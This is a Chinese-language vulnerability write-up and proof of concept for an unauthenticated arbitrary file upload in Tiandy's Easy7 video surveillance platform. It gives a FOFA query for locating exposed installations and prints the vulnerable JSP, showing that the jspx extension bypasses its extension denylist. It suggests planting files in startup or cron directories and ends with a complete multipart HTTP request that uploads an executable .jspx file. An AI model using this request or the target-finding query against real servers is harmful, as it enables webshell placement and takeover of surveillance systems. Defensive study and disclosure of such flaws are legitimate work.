漏洞简介
天地伟业Easy7是一款用于视频监控管理的软件系统。
该系统的/Easy7/rest/file/uploadMapServerBgImage接口存在前台的任意文件上传接口，可构造请求包，上传webshell文件并保存在任意路径，从而控制服务器。漏洞利用难度极低，可在未登录的状态下直接发送恶意请求包造成利用，可能被蠕虫、黑客组织批量利用。
影响版本
fofa语法
body="/Easy7/apps/WebService/LogIn.jsp" || body="Easy7/VideoLib.EXE" || body="/Easy7/index.html" || (body="<img src=\"./images/ico/Easy7_logo_transparent.png") && title="平台"
漏洞分析
首先，该系统基于Spring 3.0，比较古老且WEB-INF/web.xml里没有配置任何filter进行权限校验，因此绝大部分接口都是可以直接访问的。
再来看本次的漏洞接口 /Easy7/apps/WebService/UploadOwnerImage.jsp 的实现逻辑
<%@ page language="java" import="easy7.business.*" pageEncoding="utf-8"%>
<%@ page import="com.jspsmart.upload.*"%>
<%@ page import="java.text.SimpleDateFormat" %>
<%@ page import="easy7.database.*"%>
<%@ page import="java.util.*"%>
<%@ page language="java" import="org.apache.log4j.*" %>
<%@ page import="easy7.datatype.*"%>
<%@ page import="java.io.File"%>
<%@ page import="java.util.UUID"%>
<%@ page language="java" import="net.sf.json.*"%>
<%
CLS_Result_Bean resultBean = new CLS_Result_Bean();
try{
SmartUpload su = new SmartUpload();
su.initialize(pageContext);
su.setMaxFileSize(10 * 1024 * 1024);
su.setTotalMaxFileSize(10 * 1024 * 1024);
//su.setAllowedFilesList("jpg,JPG,JPEG,jpeg");
su.setDeniedFilesList("exe,bat,jsp,htm,html,,");
su.upload();
String path = application.getRealPath("/images/uploadPics/");
su.save(path);
com.jspsmart.upload.File file = su.getFiles().getFile(0);
if (file.isMissing()){
return;
}
long now = System.currentTimeMillis();
String prefix = String.valueOf(now) + "_1" ;
String fileName = prefix + "." + file.getFileExt();
file.saveAs(path + "/" + fileName);
new java.io.File(path + "/" + file.getFileName()).delete();
if (!file.isMissing())
{
if(file.getSize() != 0){
resultBean.setContent(fileName);
}else{
resultBean.setContent("NULL");
java.io.File f = new java.io.File(application.getRealPath("/images/uploadPics/"),file.getFileName());
f.delete();
}
}else{
resultBean.setContent("");
}
out.print("<html><body><textarea>" + JSONObject.fromObject(resultBean) + "</textarea></body></html>");
}catch(Exception e){
out.print("<html><body><textarea>" + JSONObject.fromObject(resultBean) + "</textarea></body></html>");
e.printStackTrace();
}
%>不是白名单，黑名单：exe,bat,jsp,htm,html,, 如果是Windows可上传到启动目录，Linux也可以上传到其他目录如定时任务目录，再不济也可以上传jspx进行代码执行。
漏洞复现
POST /Easy7/apps/WebService/UploadOwnerImage.jsp HTTP/1.1
Host: easy7.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file";filename="qaxnb.jspx"
<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.1"><jsp:directive.page language="java" contentType="text/plain; charset=UTF-8" pageEncoding="UTF-8"/><jsp:directive.page import="java.io.File,java.util.UUID"/><jsp:scriptlet>out.print(UUID.randomUUID().toString());try{String p=application.getRealPath(request.getRequestURI());File f=new File(p);if(f.exists()){f.delete();}}catch(Exception e){}</jsp:scriptlet></jsp:root>
------WebKitFormBoundary--访问响应文件路径如 /Easy7/images/uploadPics/xxxx.jspx 即可执行上传代码
